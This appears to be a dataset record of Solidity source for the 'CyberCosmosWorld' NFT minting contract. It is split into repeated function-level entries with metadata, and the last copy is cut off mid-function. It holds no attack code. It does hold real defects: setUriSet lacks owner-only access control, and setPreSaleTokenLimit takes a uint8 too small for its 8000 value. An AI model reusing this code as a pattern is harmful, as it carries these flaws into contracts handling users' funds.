contract CyberCosmosWorld is ERC721A, Ownable, ReentrancyGuard, Pausable { using Math for uint256; mapping(address => uint8) public preSaleMintedVipPl; // Amounts of minted tokens by users on the presale for VIP Pink List mapping(address => uint8) public preSaleMintedPl; // Amounts of minted tokens by users on the presale for Pink List mapping(address => uint8) public freeMintAddresses; // Amounts of minted tokens by users on the presale for Pink List uint8 constant public preSaleLimitPerUserVipPl = 5; // Max amount of tokens available for mint at the pre sale per address uint8 constant public preSaleLimitPerUserPl = 50; // Max amount of tokens available for mint at the pre sale per address uint8 public amountForGiveAway = 200; // Amount of tokens reserved for give away uint8 public publicSaleLimitPerTx = 10; // Max amount of tokens available for mint at the public sale per transaction uint8 public saleState = 1; // 0 - No sale, 1 - VIP PL, 2 - PL , 3 - Public Sale uint16 public mintCounter; // The next token ID to be minted (not equal to totalSupply because of the give away) uint16 public airdropCounter; // Current amount of airdropped tokens uint16 public maxTotalSupply = 10000; // Max amount of tokens available for mint in total uint16 public preSaleTokenLimit = 8000; // Max amount of tokens available for mint at the pre sale address public communityFundAddress = 0x86eA9D9ff386BCaD2D18b42192b40F264a77a679; // The Community Fund address address public withdrawAddress = 0x27BedE3c03096A5D7cd764874D35A525EF45689b; // The Withdraw Fund address string public baseURI; // Base URI for tokens string _prerevealUri = "ipfs://QmSLBj2jM8Dt2sYiDyHQnWAB9nN5jrsA1BVah17ohKjjig/"; bool public uriSet; // If base URI set or not bool public freeMintActive; uint256 public publicSalePrice = 0.1 ether; // Token price at the public sale stage uint256 constant public preSaleVipPlPrice = 0.02 ether; // Token price at the pre sale stage for VIP Pink List uint256 constant public preSalePlPrice = 0.08 ether; // Token price at the pre sale stage for Pink List bytes32 public merkleRootVipPl; // Merkle root for the whitelist bytes32 public merkleRootPl; // Merkle root for the whitelist event PreSaleMintVipPl(address user, uint256 amount); event PreSaleMintPl(address user, uint256 amount); event PublicSaleMint(address user, uint256 amount); event FreeMint(address user, uint256 amount); event SoldOut(); event GiveAway(address[] addresses); // Merkle Roots bytes32 _merkleRootVipPl = 0xdd055a3edf8accecd0b84325fc98a421bbeddd560e03274a314ccca6f23f3519; bytes32 _merkleRootPl = 0xdd055a3edf8accecd0b84325fc98a421bbeddd560e03274a314ccca6f23f3519; /* * @param _name The name of the NFT * @param _symbol The symbol of the NFT */ constructor ( string memory _name, string memory _symbol ) ERC721A(_name, _symbol) { require(uint256(_merkleRootVipPl) > 0, "invalid MerkleRoot for VIP PL"); require(uint256(_merkleRootPl) > 0, "invalid MerkleRoot for PL"); merkleRootVipPl = _merkleRootVipPl; merkleRootPl = _merkleRootPl; baseURI = _prerevealUri; } /* * @notice Distrubites specified amounts of ETH to the Community Fund * @dev Only owner can call it * @param _amountToCommunityFund Amount of ETH for the Community Fund */ function distributeFunds(uint256 _amountToCommunityFund) internal onlyOwner { uint256 balance = address(this).balance; require(_amountToCommunityFund <= balance, "not enough balance"); _sendETH(payable(communityFundAddress), _amountToCommunityFund); } /* * @notice returns Balance of the contract * @dev Only owner can call it */ function getContractBalance() public view returns(uint256) { return address(this).balance; } /* * @notice Sets Merkle root for VIP PL * @dev Only owner can call it * @param _newVipPlRoot New Merkle root */ function setMerkleRootVipPl(bytes32 _newVipPlRoot) external onlyOwner { merkleRootVipPl = _newVipPlRoot; } /* * @notice Sets Free Mint Active * @dev Only owner can call it * @param _newFreeMintActive New Merkle root */ function setFreeMintActive(bool _newFreeMintActive) external onlyOwner { freeMintActive = _newFreeMintActive; } /* * @notice Sets Sale State * @dev Only owner can call it * @param _newSaleState New Merkle root */ function setSaleState(uint8 _newSaleState) external onlyOwner { saleState = _newSaleState; } /* * @notice Sets Merkle root for PL * @dev Only owner can call it * @param _newPlRoot New Merkle root */ function setMerkleRootPl(bytes32 _newPlRoot) external onlyOwner { merkleRootPl = _newPlRoot; } /* * @notice Sets the Community Fund Address * @dev Only owner can call it * @param _communityFundAddress The new address of the Commmunity Fund */ function setCommunityFundAddress(address _communityFundAddress) external onlyOwner { require(_communityFundAddress != address(0), "communityFundAddress is 0"); communityFundAddress = _communityFundAddress; } /* * @notice Pauses contract * @dev Only owner can call it */ function pause() external onlyOwner whenNotPaused { _pause(); } /* * @notice Unpauses contract * @dev Only owner can call it */ function unpause() external onlyOwner whenPaused { _unpause(); } /* * @notice Mints specified amount of tokens on the VIP Pink List and registers * the user if correct MerkleProof was submitted. Must be called if the * user isn't registered yet (didn't mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint * @param _proof Merkle proof for the user */ function preSaleMintVipPl( uint256 _amount, bytes32[] memory _proof ) external payable nonReentrant whenNotPaused { require(preSaleMintedVipPl[_msgSender()] == 0, "already registered"); require(_verifyVipPL(_leaf(_msgSender()), _proof), "incorrect proof"); _preSaleMintVipPl(_amount); } /* * @notice Mints specified amount of tokens on the VIP Pink List. Must be called * if the user already registered (already did mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint */ function preSaleMintVipPl(uint256 _amount) external payable nonReentrant whenNotPaused { require(preSaleMintedVipPl[_msgSender()] > 0, "not registered"); _preSaleMintVipPl(_amount); } /* * @notice Mints specified amount of tokens on the Pink List and registers * the user if correct MerkleProof was submitted. Must be called if the * user isn't registered yet (didn't mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint * @param _proof Merkle proof for the user */ function preSaleMintPl( uint256 _amount, bytes32[] memory _proof ) external payable nonReentrant whenNotPaused { require(preSaleMintedPl[_msgSender()] == 0, "already registered"); require(_verifyPL(_leaf(_msgSender()), _proof), "incorrect proof"); _preSaleMintPl(_amount); } /* * @notice Mints specified amount of tokens on the Pink List. Must be called * if the user already registered (already did mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint */ function preSaleMintPl(uint256 _amount) external payable nonReentrant whenNotPaused { require(preSaleMintedPl[_msgSender()] > 0, "not registered"); _preSaleMintPl(_amount); } /* * @notice Mints specified amount of tokens on the public sale * @dev Non reentrant. Emits PublicSaleMint event * @param _amount Amount of tokens to mint */ function publicSaleMint(uint256 _amount) external payable nonReentrant whenNotPaused { require(saleState == 3, "public sale isn't active"); require(_amount > 0 && _amount <= publicSaleLimitPerTx, "invalid amount"); uint256 maxTotalSupply_ = maxTotalSupply; uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= maxTotalSupply_, "already sold out"); require(mintCounter + _amount <= maxTotalSupply_ - amountForGiveAway, "the rest is reserved"); _buyAndRefund(_amount, publicSalePrice); if (totalSupply_ + _amount == maxTotalSupply_) emit SoldOut(); emit PublicSaleMint(_msgSender(), _amount); } /* * @notice Mints specified amount of tokens on the public sale * @dev Non reentrant. Emits PublicSaleMint event * @param _amount Amount of tokens to mint */ function freeMint(uint8 _amount) external payable nonReentrant whenNotPaused { require(saleState != 0, "sale isn't active"); require(_amount == 1, "invalid amount"); require(freeMintActive, "Free Mint is not active"); require(freeMintAddresses[_msgSender()] == 0, "already minted"); require(balanceOf(_msgSender()) >= 5, "doesn't own 5 or more nfts"); uint256 maxTotalSupply_ = maxTotalSupply; uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= maxTotalSupply_, "already sold out"); require(mintCounter + _amount <= maxTotalSupply_ - amountForGiveAway, "the rest is reserved"); _buyAndRefund(_amount, 0); freeMintAddresses[_msgSender()] += uint8(_amount); if (totalSupply_ + _amount == maxTotalSupply_) emit SoldOut(); emit FreeMint(_msgSender(), _amount); } /* * @notice Mints specified IDs to specified addresses * @dev Only owner can call it. Lengths of arrays must be equal. * @param _accounts The list of addresses to mint tokens to */ function giveaway(address[] memory _accounts) external onlyOwner { uint256 maxTotSup = maxTotalSupply; uint256 currentTotalSupply = totalSupply(); require(_accounts.length <= publicSaleLimitPerTx, "Limit per transaction exceeded"); require(airdropCounter + _accounts.length <= amountForGiveAway, "limit for airdrop exceeded"); require(currentTotalSupply + _accounts.length <= maxTotSup, "maxTotalSupply exceeded"); uint256 counter = currentTotalSupply; for (uint256 i; i < _accounts.length; i++) { _safeMint(_accounts[i], uint8(1)); counter++; } airdropCounter += uint16(_accounts.length); if (currentTotalSupply + _accounts.length == maxTotSup) emit SoldOut(); // emit SoldOut in case some tokens were airdropped after the sale emit GiveAway(_accounts); } /* * @notice Sets base URI for tokens * @dev Only owner can call it * @param _newBaseURI The new base URI */ function setBaseURI(string memory _newBaseURI) external onlyOwner { baseURI = _newBaseURI; uriSet = true; } /* * @notice Sets Public Sale Price * @dev Only owner can call it * @param _newBaseURI The new base URI */ function setPublicSalePrice(uint256 _newPublicSalePrice) external onlyOwner { publicSalePrice = _newPublicSalePrice; } /* * @notice Withdraws specified amount of ETH to specified address * @dev Only owner can call it * @param _to The address of ETH receiver * @param _amount The amount of ETH to withdraw */ function withdrawTo(uint256 _amount) external onlyOwner { uint256 balance = address(this).balance; require(balance >= _amount, "unsufficient balance"); uint256 three_percent = (_amount / 100) * 3; distributeFunds(three_percent); _sendETH(payable(withdrawAddress), _amount - three_percent); } /* * @notice Sets Amount Reserved For Giveaway * @dev Only owner can call it * @param _newAmountForGiveAway The new amount for give away */ function setAmountForGiveAway(uint8 _newAmountForGiveAway) external onlyOwner { amountForGiveAway = _newAmountForGiveAway; } /* * @notice Sets Pre Sale Token Limit * @dev Only owner can call it * @param _newPreSaleTokenLimit The new Pre Sale Token Limit */ function setPreSaleTokenLimit(uint8 _newPreSaleTokenLimit) external onlyOwner { preSaleTokenLimit = _newPreSaleTokenLimit; } /* * @notice Sets Public Sale Limit Per Transaction * @dev Only owner can call it * @param _newPublicSaleLimitPerTxn The new Public Sale Limit Per Transaction */ function setPublicSaleLimitPerTxn(uint8 _newPublicSaleLimitPerTxn) external onlyOwner { publicSaleLimitPerTx = _newPublicSaleLimitPerTxn; } /* * @dev The main logic for the pre sale mint. Emits PreSaleMint event * @param _amount The amount of tokens */ function _preSaleMintVipPl(uint256 _amount) private { require(saleState == 1, "VIP Presale isn't active"); require(_amount > 0, "invalid amount"); require(preSaleMintedVipPl[_msgSender()] + _amount <= preSaleLimitPerUserVipPl, "limit per user exceeded"); uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= preSaleTokenLimit, "presale token limit exceeded"); _buyAndRefund(_amount, preSaleVipPlPrice); preSaleMintedVipPl[_msgSender()] += uint8(_amount); emit PreSaleMintVipPl(_msgSender(), _amount); } /* * @dev The main logic for the pre sale mint. Emits PreSaleMint event * @param _amount The amount of tokens */ function _preSaleMintPl(uint256 _amount) private { require(saleState == 2, "Presale isn't active"); require(_amount > 0, "invalid amount"); require(preSaleMintedPl[_msgSender()] + _amount <= preSaleLimitPerUserPl, "limit per user exceeded"); uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= preSaleTokenLimit, "presale token limit exceeded"); _buyAndRefund(_amount, preSalePlPrice); preSaleMintedPl[_msgSender()] += uint8(_amount); emit PreSaleMintPl(_msgSender(), _amount); } /* * @dev Mints tokens for the user and refunds ETH if too much was passed * @param _amount The amount of tokens * @param _price The price for each token */ function _buyAndRefund(uint256 _amount, uint256 _price) internal { uint256 totalCost = _amount * _price; require(msg.value >= totalCost, "not enough funds"); _safeMint(_msgSender(), _amount); // totalSupply += uint16(_amount); mintCounter += uint16(_amount); uint256 refund = msg.value - totalCost; if (refund > 0) { _sendETH(payable(_msgSender()), refund); } } /* * @dev sends ETH to the specified address * @param _to The receiver * @param _amount The amount of ETH to send */ function _sendETH(address payable _to, uint256 _amount) internal { (bool success, ) = _to.call{value: _amount}(""); require(success, "send ETH failed"); } /* * @dev Returns the base URI */ function _baseURI() internal view virtual override returns (string memory) { return baseURI; } function tokenURI(uint256 tokenId) public view override returns (string memory) { if (!uriSet) return _baseURI(); return string(abi.encodePacked(ERC721A.tokenURI(tokenId), ".json")); } function setUriSet(bool status) external { uriSet = status; } /* * @dev Returns the leaf for Merkle tree * @param _account Address of the user * @param _userId ID of the user */ function _leaf(address _account) internal pure returns (bytes32) { return keccak256(abi.encodePacked(_account)); } /* * @dev Verifies if the proof is valid or not for VIP PL * @param _leaf The leaf for the user * @param _proof Proof for the user */ function _verifyVipPL(bytes32 leaf, bytes32[] memory _proof) internal view returns (bool) { return MerkleProof.verify(_proof, merkleRootVipPl, leaf); } /* * @dev Verifies if the proof is valid or not for PL * @param _leaf The leaf for the user * @param _proof Proof for the user */ function _verifyPL(bytes32 leaf, bytes32[] memory _proof) internal view returns (bool) { return MerkleProof.verify(_proof, merkleRootPl, leaf); } /* * @dev receive() function to let the contract accept ETH */ receive() external payable{} }
_sendETH
function _sendETH(address payable _to, uint256 _amount) internal { (bool success, ) = _to.call{value: _amount}(""); require(success, "send ETH failed"); }
/* * @dev sends ETH to the specified address * @param _to The receiver * @param _amount The amount of ETH to send */
Comment
v0.8.5+commit.a4f2e591
{ "func_code_index": [ 15264, 15442 ] }
14,189
CyberCosmosWorld
contracts/CCW.sol
0x80b745ada7c13cb420e0a2acbcbffa033a3b5164
Solidity
CyberCosmosWorld
contract CyberCosmosWorld is ERC721A, Ownable, ReentrancyGuard, Pausable { using Math for uint256; mapping(address => uint8) public preSaleMintedVipPl; // Amounts of minted tokens by users on the presale for VIP Pink List mapping(address => uint8) public preSaleMintedPl; // Amounts of minted tokens by users on the presale for Pink List mapping(address => uint8) public freeMintAddresses; // Amounts of minted tokens by users on the presale for Pink List uint8 constant public preSaleLimitPerUserVipPl = 5; // Max amount of tokens available for mint at the pre sale per address uint8 constant public preSaleLimitPerUserPl = 50; // Max amount of tokens available for mint at the pre sale per address uint8 public amountForGiveAway = 200; // Amount of tokens reserved for give away uint8 public publicSaleLimitPerTx = 10; // Max amount of tokens available for mint at the public sale per transaction uint8 public saleState = 1; // 0 - No sale, 1 - VIP PL, 2 - PL , 3 - Public Sale uint16 public mintCounter; // The next token ID to be minted (not equal to totalSupply because of the give away) uint16 public airdropCounter; // Current amount of airdropped tokens uint16 public maxTotalSupply = 10000; // Max amount of tokens available for mint in total uint16 public preSaleTokenLimit = 8000; // Max amount of tokens available for mint at the pre sale address public communityFundAddress = 0x86eA9D9ff386BCaD2D18b42192b40F264a77a679; // The Community Fund address address public withdrawAddress = 0x27BedE3c03096A5D7cd764874D35A525EF45689b; // The Withdraw Fund address string public baseURI; // Base URI for tokens string _prerevealUri = "ipfs://QmSLBj2jM8Dt2sYiDyHQnWAB9nN5jrsA1BVah17ohKjjig/"; bool public uriSet; // If base URI set or not bool public freeMintActive; uint256 public publicSalePrice = 0.1 ether; // Token price at the public sale stage uint256 constant public preSaleVipPlPrice = 0.02 ether; // Token price at the pre sale stage for VIP Pink List uint256 constant public preSalePlPrice = 0.08 ether; // Token price at the pre sale stage for Pink List bytes32 public merkleRootVipPl; // Merkle root for the whitelist bytes32 public merkleRootPl; // Merkle root for the whitelist event PreSaleMintVipPl(address user, uint256 amount); event PreSaleMintPl(address user, uint256 amount); event PublicSaleMint(address user, uint256 amount); event FreeMint(address user, uint256 amount); event SoldOut(); event GiveAway(address[] addresses); // Merkle Roots bytes32 _merkleRootVipPl = 0xdd055a3edf8accecd0b84325fc98a421bbeddd560e03274a314ccca6f23f3519; bytes32 _merkleRootPl = 0xdd055a3edf8accecd0b84325fc98a421bbeddd560e03274a314ccca6f23f3519; /* * @param _name The name of the NFT * @param _symbol The symbol of the NFT */ constructor ( string memory _name, string memory _symbol ) ERC721A(_name, _symbol) { require(uint256(_merkleRootVipPl) > 0, "invalid MerkleRoot for VIP PL"); require(uint256(_merkleRootPl) > 0, "invalid MerkleRoot for PL"); merkleRootVipPl = _merkleRootVipPl; merkleRootPl = _merkleRootPl; baseURI = _prerevealUri; } /* * @notice Distrubites specified amounts of ETH to the Community Fund * @dev Only owner can call it * @param _amountToCommunityFund Amount of ETH for the Community Fund */ function distributeFunds(uint256 _amountToCommunityFund) internal onlyOwner { uint256 balance = address(this).balance; require(_amountToCommunityFund <= balance, "not enough balance"); _sendETH(payable(communityFundAddress), _amountToCommunityFund); } /* * @notice returns Balance of the contract * @dev Only owner can call it */ function getContractBalance() public view returns(uint256) { return address(this).balance; } /* * @notice Sets Merkle root for VIP PL * @dev Only owner can call it * @param _newVipPlRoot New Merkle root */ function setMerkleRootVipPl(bytes32 _newVipPlRoot) external onlyOwner { merkleRootVipPl = _newVipPlRoot; } /* * @notice Sets Free Mint Active * @dev Only owner can call it * @param _newFreeMintActive New Merkle root */ function setFreeMintActive(bool _newFreeMintActive) external onlyOwner { freeMintActive = _newFreeMintActive; } /* * @notice Sets Sale State * @dev Only owner can call it * @param _newSaleState New Merkle root */ function setSaleState(uint8 _newSaleState) external onlyOwner { saleState = _newSaleState; } /* * @notice Sets Merkle root for PL * @dev Only owner can call it * @param _newPlRoot New Merkle root */ function setMerkleRootPl(bytes32 _newPlRoot) external onlyOwner { merkleRootPl = _newPlRoot; } /* * @notice Sets the Community Fund Address * @dev Only owner can call it * @param _communityFundAddress The new address of the Commmunity Fund */ function setCommunityFundAddress(address _communityFundAddress) external onlyOwner { require(_communityFundAddress != address(0), "communityFundAddress is 0"); communityFundAddress = _communityFundAddress; } /* * @notice Pauses contract * @dev Only owner can call it */ function pause() external onlyOwner whenNotPaused { _pause(); } /* * @notice Unpauses contract * @dev Only owner can call it */ function unpause() external onlyOwner whenPaused { _unpause(); } /* * @notice Mints specified amount of tokens on the VIP Pink List and registers * the user if correct MerkleProof was submitted. Must be called if the * user isn't registered yet (didn't mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint * @param _proof Merkle proof for the user */ function preSaleMintVipPl( uint256 _amount, bytes32[] memory _proof ) external payable nonReentrant whenNotPaused { require(preSaleMintedVipPl[_msgSender()] == 0, "already registered"); require(_verifyVipPL(_leaf(_msgSender()), _proof), "incorrect proof"); _preSaleMintVipPl(_amount); } /* * @notice Mints specified amount of tokens on the VIP Pink List. Must be called * if the user already registered (already did mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint */ function preSaleMintVipPl(uint256 _amount) external payable nonReentrant whenNotPaused { require(preSaleMintedVipPl[_msgSender()] > 0, "not registered"); _preSaleMintVipPl(_amount); } /* * @notice Mints specified amount of tokens on the Pink List and registers * the user if correct MerkleProof was submitted. Must be called if the * user isn't registered yet (didn't mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint * @param _proof Merkle proof for the user */ function preSaleMintPl( uint256 _amount, bytes32[] memory _proof ) external payable nonReentrant whenNotPaused { require(preSaleMintedPl[_msgSender()] == 0, "already registered"); require(_verifyPL(_leaf(_msgSender()), _proof), "incorrect proof"); _preSaleMintPl(_amount); } /* * @notice Mints specified amount of tokens on the Pink List. Must be called * if the user already registered (already did mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint */ function preSaleMintPl(uint256 _amount) external payable nonReentrant whenNotPaused { require(preSaleMintedPl[_msgSender()] > 0, "not registered"); _preSaleMintPl(_amount); } /* * @notice Mints specified amount of tokens on the public sale * @dev Non reentrant. Emits PublicSaleMint event * @param _amount Amount of tokens to mint */ function publicSaleMint(uint256 _amount) external payable nonReentrant whenNotPaused { require(saleState == 3, "public sale isn't active"); require(_amount > 0 && _amount <= publicSaleLimitPerTx, "invalid amount"); uint256 maxTotalSupply_ = maxTotalSupply; uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= maxTotalSupply_, "already sold out"); require(mintCounter + _amount <= maxTotalSupply_ - amountForGiveAway, "the rest is reserved"); _buyAndRefund(_amount, publicSalePrice); if (totalSupply_ + _amount == maxTotalSupply_) emit SoldOut(); emit PublicSaleMint(_msgSender(), _amount); } /* * @notice Mints specified amount of tokens on the public sale * @dev Non reentrant. Emits PublicSaleMint event * @param _amount Amount of tokens to mint */ function freeMint(uint8 _amount) external payable nonReentrant whenNotPaused { require(saleState != 0, "sale isn't active"); require(_amount == 1, "invalid amount"); require(freeMintActive, "Free Mint is not active"); require(freeMintAddresses[_msgSender()] == 0, "already minted"); require(balanceOf(_msgSender()) >= 5, "doesn't own 5 or more nfts"); uint256 maxTotalSupply_ = maxTotalSupply; uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= maxTotalSupply_, "already sold out"); require(mintCounter + _amount <= maxTotalSupply_ - amountForGiveAway, "the rest is reserved"); _buyAndRefund(_amount, 0); freeMintAddresses[_msgSender()] += uint8(_amount); if (totalSupply_ + _amount == maxTotalSupply_) emit SoldOut(); emit FreeMint(_msgSender(), _amount); } /* * @notice Mints specified IDs to specified addresses * @dev Only owner can call it. Lengths of arrays must be equal. * @param _accounts The list of addresses to mint tokens to */ function giveaway(address[] memory _accounts) external onlyOwner { uint256 maxTotSup = maxTotalSupply; uint256 currentTotalSupply = totalSupply(); require(_accounts.length <= publicSaleLimitPerTx, "Limit per transaction exceeded"); require(airdropCounter + _accounts.length <= amountForGiveAway, "limit for airdrop exceeded"); require(currentTotalSupply + _accounts.length <= maxTotSup, "maxTotalSupply exceeded"); uint256 counter = currentTotalSupply; for (uint256 i; i < _accounts.length; i++) { _safeMint(_accounts[i], uint8(1)); counter++; } airdropCounter += uint16(_accounts.length); if (currentTotalSupply + _accounts.length == maxTotSup) emit SoldOut(); // emit SoldOut in case some tokens were airdropped after the sale emit GiveAway(_accounts); } /* * @notice Sets base URI for tokens * @dev Only owner can call it * @param _newBaseURI The new base URI */ function setBaseURI(string memory _newBaseURI) external onlyOwner { baseURI = _newBaseURI; uriSet = true; } /* * @notice Sets Public Sale Price * @dev Only owner can call it * @param _newBaseURI The new base URI */ function setPublicSalePrice(uint256 _newPublicSalePrice) external onlyOwner { publicSalePrice = _newPublicSalePrice; } /* * @notice Withdraws specified amount of ETH to specified address * @dev Only owner can call it * @param _to The address of ETH receiver * @param _amount The amount of ETH to withdraw */ function withdrawTo(uint256 _amount) external onlyOwner { uint256 balance = address(this).balance; require(balance >= _amount, "unsufficient balance"); uint256 three_percent = (_amount / 100) * 3; distributeFunds(three_percent); _sendETH(payable(withdrawAddress), _amount - three_percent); } /* * @notice Sets Amount Reserved For Giveaway * @dev Only owner can call it * @param _newAmountForGiveAway The new amount for give away */ function setAmountForGiveAway(uint8 _newAmountForGiveAway) external onlyOwner { amountForGiveAway = _newAmountForGiveAway; } /* * @notice Sets Pre Sale Token Limit * @dev Only owner can call it * @param _newPreSaleTokenLimit The new Pre Sale Token Limit */ function setPreSaleTokenLimit(uint8 _newPreSaleTokenLimit) external onlyOwner { preSaleTokenLimit = _newPreSaleTokenLimit; } /* * @notice Sets Public Sale Limit Per Transaction * @dev Only owner can call it * @param _newPublicSaleLimitPerTxn The new Public Sale Limit Per Transaction */ function setPublicSaleLimitPerTxn(uint8 _newPublicSaleLimitPerTxn) external onlyOwner { publicSaleLimitPerTx = _newPublicSaleLimitPerTxn; } /* * @dev The main logic for the pre sale mint. Emits PreSaleMint event * @param _amount The amount of tokens */ function _preSaleMintVipPl(uint256 _amount) private { require(saleState == 1, "VIP Presale isn't active"); require(_amount > 0, "invalid amount"); require(preSaleMintedVipPl[_msgSender()] + _amount <= preSaleLimitPerUserVipPl, "limit per user exceeded"); uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= preSaleTokenLimit, "presale token limit exceeded"); _buyAndRefund(_amount, preSaleVipPlPrice); preSaleMintedVipPl[_msgSender()] += uint8(_amount); emit PreSaleMintVipPl(_msgSender(), _amount); } /* * @dev The main logic for the pre sale mint. Emits PreSaleMint event * @param _amount The amount of tokens */ function _preSaleMintPl(uint256 _amount) private { require(saleState == 2, "Presale isn't active"); require(_amount > 0, "invalid amount"); require(preSaleMintedPl[_msgSender()] + _amount <= preSaleLimitPerUserPl, "limit per user exceeded"); uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= preSaleTokenLimit, "presale token limit exceeded"); _buyAndRefund(_amount, preSalePlPrice); preSaleMintedPl[_msgSender()] += uint8(_amount); emit PreSaleMintPl(_msgSender(), _amount); } /* * @dev Mints tokens for the user and refunds ETH if too much was passed * @param _amount The amount of tokens * @param _price The price for each token */ function _buyAndRefund(uint256 _amount, uint256 _price) internal { uint256 totalCost = _amount * _price; require(msg.value >= totalCost, "not enough funds"); _safeMint(_msgSender(), _amount); // totalSupply += uint16(_amount); mintCounter += uint16(_amount); uint256 refund = msg.value - totalCost; if (refund > 0) { _sendETH(payable(_msgSender()), refund); } } /* * @dev sends ETH to the specified address * @param _to The receiver * @param _amount The amount of ETH to send */ function _sendETH(address payable _to, uint256 _amount) internal { (bool success, ) = _to.call{value: _amount}(""); require(success, "send ETH failed"); } /* * @dev Returns the base URI */ function _baseURI() internal view virtual override returns (string memory) { return baseURI; } function tokenURI(uint256 tokenId) public view override returns (string memory) { if (!uriSet) return _baseURI(); return string(abi.encodePacked(ERC721A.tokenURI(tokenId), ".json")); } function setUriSet(bool status) external { uriSet = status; } /* * @dev Returns the leaf for Merkle tree * @param _account Address of the user * @param _userId ID of the user */ function _leaf(address _account) internal pure returns (bytes32) { return keccak256(abi.encodePacked(_account)); } /* * @dev Verifies if the proof is valid or not for VIP PL * @param _leaf The leaf for the user * @param _proof Proof for the user */ function _verifyVipPL(bytes32 leaf, bytes32[] memory _proof) internal view returns (bool) { return MerkleProof.verify(_proof, merkleRootVipPl, leaf); } /* * @dev Verifies if the proof is valid or not for PL * @param _leaf The leaf for the user * @param _proof Proof for the user */ function _verifyPL(bytes32 leaf, bytes32[] memory _proof) internal view returns (bool) { return MerkleProof.verify(_proof, merkleRootPl, leaf); } /* * @dev receive() function to let the contract accept ETH */ receive() external payable{} }
_baseURI
function _baseURI() internal view virtual override returns (string memory) { return baseURI; }
/* * @dev Returns the base URI */
Comment
v0.8.5+commit.a4f2e591
{ "func_code_index": [ 15490, 15600 ] }
14,190
CyberCosmosWorld
contracts/CCW.sol
0x80b745ada7c13cb420e0a2acbcbffa033a3b5164
Solidity
CyberCosmosWorld
contract CyberCosmosWorld is ERC721A, Ownable, ReentrancyGuard, Pausable { using Math for uint256; mapping(address => uint8) public preSaleMintedVipPl; // Amounts of minted tokens by users on the presale for VIP Pink List mapping(address => uint8) public preSaleMintedPl; // Amounts of minted tokens by users on the presale for Pink List mapping(address => uint8) public freeMintAddresses; // Amounts of minted tokens by users on the presale for Pink List uint8 constant public preSaleLimitPerUserVipPl = 5; // Max amount of tokens available for mint at the pre sale per address uint8 constant public preSaleLimitPerUserPl = 50; // Max amount of tokens available for mint at the pre sale per address uint8 public amountForGiveAway = 200; // Amount of tokens reserved for give away uint8 public publicSaleLimitPerTx = 10; // Max amount of tokens available for mint at the public sale per transaction uint8 public saleState = 1; // 0 - No sale, 1 - VIP PL, 2 - PL , 3 - Public Sale uint16 public mintCounter; // The next token ID to be minted (not equal to totalSupply because of the give away) uint16 public airdropCounter; // Current amount of airdropped tokens uint16 public maxTotalSupply = 10000; // Max amount of tokens available for mint in total uint16 public preSaleTokenLimit = 8000; // Max amount of tokens available for mint at the pre sale address public communityFundAddress = 0x86eA9D9ff386BCaD2D18b42192b40F264a77a679; // The Community Fund address address public withdrawAddress = 0x27BedE3c03096A5D7cd764874D35A525EF45689b; // The Withdraw Fund address string public baseURI; // Base URI for tokens string _prerevealUri = "ipfs://QmSLBj2jM8Dt2sYiDyHQnWAB9nN5jrsA1BVah17ohKjjig/"; bool public uriSet; // If base URI set or not bool public freeMintActive; uint256 public publicSalePrice = 0.1 ether; // Token price at the public sale stage uint256 constant public preSaleVipPlPrice = 0.02 ether; // Token price at the pre sale stage for VIP Pink List uint256 constant public preSalePlPrice = 0.08 ether; // Token price at the pre sale stage for Pink List bytes32 public merkleRootVipPl; // Merkle root for the whitelist bytes32 public merkleRootPl; // Merkle root for the whitelist event PreSaleMintVipPl(address user, uint256 amount); event PreSaleMintPl(address user, uint256 amount); event PublicSaleMint(address user, uint256 amount); event FreeMint(address user, uint256 amount); event SoldOut(); event GiveAway(address[] addresses); // Merkle Roots bytes32 _merkleRootVipPl = 0xdd055a3edf8accecd0b84325fc98a421bbeddd560e03274a314ccca6f23f3519; bytes32 _merkleRootPl = 0xdd055a3edf8accecd0b84325fc98a421bbeddd560e03274a314ccca6f23f3519; /* * @param _name The name of the NFT * @param _symbol The symbol of the NFT */ constructor ( string memory _name, string memory _symbol ) ERC721A(_name, _symbol) { require(uint256(_merkleRootVipPl) > 0, "invalid MerkleRoot for VIP PL"); require(uint256(_merkleRootPl) > 0, "invalid MerkleRoot for PL"); merkleRootVipPl = _merkleRootVipPl; merkleRootPl = _merkleRootPl; baseURI = _prerevealUri; } /* * @notice Distrubites specified amounts of ETH to the Community Fund * @dev Only owner can call it * @param _amountToCommunityFund Amount of ETH for the Community Fund */ function distributeFunds(uint256 _amountToCommunityFund) internal onlyOwner { uint256 balance = address(this).balance; require(_amountToCommunityFund <= balance, "not enough balance"); _sendETH(payable(communityFundAddress), _amountToCommunityFund); } /* * @notice returns Balance of the contract * @dev Only owner can call it */ function getContractBalance() public view returns(uint256) { return address(this).balance; } /* * @notice Sets Merkle root for VIP PL * @dev Only owner can call it * @param _newVipPlRoot New Merkle root */ function setMerkleRootVipPl(bytes32 _newVipPlRoot) external onlyOwner { merkleRootVipPl = _newVipPlRoot; } /* * @notice Sets Free Mint Active * @dev Only owner can call it * @param _newFreeMintActive New Merkle root */ function setFreeMintActive(bool _newFreeMintActive) external onlyOwner { freeMintActive = _newFreeMintActive; } /* * @notice Sets Sale State * @dev Only owner can call it * @param _newSaleState New Merkle root */ function setSaleState(uint8 _newSaleState) external onlyOwner { saleState = _newSaleState; } /* * @notice Sets Merkle root for PL * @dev Only owner can call it * @param _newPlRoot New Merkle root */ function setMerkleRootPl(bytes32 _newPlRoot) external onlyOwner { merkleRootPl = _newPlRoot; } /* * @notice Sets the Community Fund Address * @dev Only owner can call it * @param _communityFundAddress The new address of the Commmunity Fund */ function setCommunityFundAddress(address _communityFundAddress) external onlyOwner { require(_communityFundAddress != address(0), "communityFundAddress is 0"); 